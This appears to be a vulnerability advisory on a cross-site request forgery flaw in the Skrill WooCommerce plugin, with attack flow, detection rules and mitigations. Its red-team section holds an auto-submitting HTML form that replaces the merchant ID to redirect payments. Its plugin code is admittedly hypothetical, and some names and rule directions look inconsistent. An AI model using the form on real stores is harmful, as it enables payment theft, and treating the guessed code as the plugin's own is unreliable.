CVE-2025-28876

Executive Summary

CVE-2025-28876 is a Cross-Site Request Forgery (CSRF) vulnerability in the Skrill Official WordPress plugin (official-skrill-woocommerce) versions up to and including 1.0.66. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or initiating fraudulent transactions, without the victim’s consent. The vulnerability is classified as a WordPress ecosystem issue, specifically affecting the plugin’s administrative functions that lack CSRF nonce validation. No public proof-of-concept (PoC) or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the repository or via automatic updates are affected. The lack of a patch from the vendor (Skrill_Team) means that supply chain risk remains elevated until an update is released. Administrators should monitor the plugin’s changelog and consider temporary deactivation if the plugin is not critical.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – attacker can modify plugin settings or trigger actions
• Availability Impact: None (A:N)

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for unauthorized configuration changes or fraudulent transactions in a payment plugin elevates the severity.

Deep Dive & Mechanics

The vulnerability stems from the absence of CSRF nonce tokens in key administrative actions within the Skrill Official plugin. In WordPress, CSRF protection is typically implemented using a nonce (number used once) that is validated on state-changing requests. The plugin’s settings page and action handlers (e.g., saving API credentials, enabling/disabling payment methods) do not verify a nonce, allowing an attacker to craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to the WordPress site.

Attack Flow:

1. Attacker identifies a logged-in WordPress admin with the Skrill plugin active.
2. Attacker crafts a malicious link or embeds a hidden form on an external site.
3. Victim clicks the link or visits the attacker’s page while authenticated.
4. The forged request (e.g., POST to /wp-admin/admin-post.php?action=skrill_update_settings) modifies plugin settings without the victim’s knowledge.
5. The attacker can then redirect payments to their own Skrill account or disable security features.

The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and is specific to the WordPress plugin ecosystem. No server-side software (Apache/Nginx) is implicated.

Vulnerable vs. Patched Code

Since no patch is available, the following analysis is based on typical CSRF vulnerabilities in WordPress plugins.

Vulnerable Code (hypothetical example from plugin):

// In skrill-admin.php
function skrill_save_settings() {
    // No nonce check
    update_option('skrill_api_key', $_POST['api_key']);
    update_option('skrill_merchant_id', $_POST['merchant_id']);
    // ...
}
add_action('admin_post_skrill_save_settings', 'skrill_save_settings');

Patched Code (expected fix):

function skrill_save_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'skrill_save_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('skrill_api_key', sanitize_text_field($_POST['api_key']));
    update_option('skrill_merchant_id', sanitize_text_field($_POST['merchant_id']));
    // ...
}
add_action('admin_post_skrill_save_settings', 'skrill_save_settings');

The patch adds a call to wp_verify_nonce() and uses sanitize_text_field() for input sanitization. Without the patch, the plugin remains vulnerable.

Exploitation & Lab Setup

Red Team (Attacker) Setup

Prerequisites:

• A WordPress site with Skrill Official plugin <= 1.0.66 installed and activated.
• An authenticated admin user session (victim).

Exploitation Steps:

1. Create a malicious HTML page that auto-submits a form to the victim’s WordPress admin.
2. Host the page on an attacker-controlled server or use a phishing link.
3. Lure the victim to visit the page while logged into WordPress.

Example Malicious HTML:

<html>
<body>
<form action="http://victim-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="skrill_update_settings">
    <input type="hidden" name="skrill_merchant_id" value="attacker_merchant_id">
    <input type="hidden" name="skrill_api_key" value="attacker_api_key">
    <input type="submit" value="Click here for free gift">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defender) Setup

Detection:

• Monitor for unexpected changes to Skrill plugin settings via audit logs.
• Use Web Application Firewall (WAF) rules to block requests to /wp-admin/admin-post.php without a valid Referer header.
• Implement additional CSRF tokens via custom WordPress hooks.

Lab Environment:

• Set up a local WordPress instance with the vulnerable plugin.
• Use Burp Suite or OWASP ZAP to intercept and replay requests to verify CSRF absence.
• Test with and without nonce validation to confirm the vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Suspicious POST requests to /wp-admin/admin-post.php with action=skrill_update_settings or similar.
  • Referer headers from external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified wp_options table entries for skrill_api_key, skrill_merchant_id, etc.
• Log IOCs:
  • WordPress debug log entries showing unexpected settings changes.
  • Web server access logs with unusual POST requests to admin-post.php from non-admin IPs.

Detection Engineering

YARA Rule

rule CVE_2025_28876_CSRF_Skrill {
    meta:
        description = "Detects Skrill Official plugin files missing CSRF nonce validation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28876"
    strings:
        $vuln_func = "admin_post_" nocase
        $no_nonce = "wp_verify_nonce" nocase
        $skrill_file = "skrill" nocase
    condition:
        $skrill_file and $vuln_func and not $no_nonce
}

Sigma Rule

title: CVE-2025-28876 - Skrill CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to WordPress admin-post.php with Skrill actions without proper Referer
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=skrill'
    filter:
        cs(Referer)|contains: 'victim-site.com'  # Replace with legitimate domain
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions from same domain
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-28876 - Skrill CSRF Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.uri; content:"action=skrill"; http.referer; content:!"victim-site.com"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Deactivate the plugin if not essential for business operations.
2. Apply a virtual patch using a WAF to block requests to /wp-admin/admin-post.php with action=skrill* unless the Referer matches the site domain.
3. Monitor admin activity for unauthorized changes to Skrill settings.

Long-term Fix:

• The vendor (Skrill_Team) must release a patched version (>= 1.0.67) that includes CSRF nonce validation on all admin actions.
• Until then, consider using a security plugin like Wordfence to add CSRF protection.

Workaround:

• Add a custom function to the theme’s functions.php to enforce nonce checks:

add_action('admin_post_skrill_update_settings', function() {
    if (!wp_verify_nonce($_REQUEST['_wpnonce'], 'skrill_nonce')) {
        wp_die('CSRF detected.');
    }
}, 1);

Valters IT
Securing Digital Frontiers